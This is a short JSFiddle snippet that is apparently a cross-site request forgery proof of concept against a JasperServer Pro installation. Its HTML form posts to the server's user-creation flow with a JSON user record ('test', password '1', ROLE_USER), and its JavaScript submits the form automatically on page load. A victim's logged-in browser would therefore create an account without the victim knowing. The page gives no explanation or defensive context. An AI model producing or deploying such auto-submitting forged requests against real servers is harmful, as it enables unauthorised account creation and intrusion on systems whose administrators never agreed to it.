JSFiddle - React, Tailwind, and code Playground

HTML

<script src="http://code.jquery.com/jquery-2.1.0.min.js"></script>
<form id="copyFolder" action="http://localhost:8080/jasperserver-pro/flow.html?_flowExecutionKey=e2s1&_eventId=create" method="POST">


<input type="text" name="entityName" value='{"userName":"test","fullName":"test","password":"1","confirmPassword":"","email":"","enabled":true,"roles":[{"roleName":"ROLE_USER"}]}'/>

<input type="submit" value="OK"/>
</form>

JavaScript

window.document.forms[0].submit();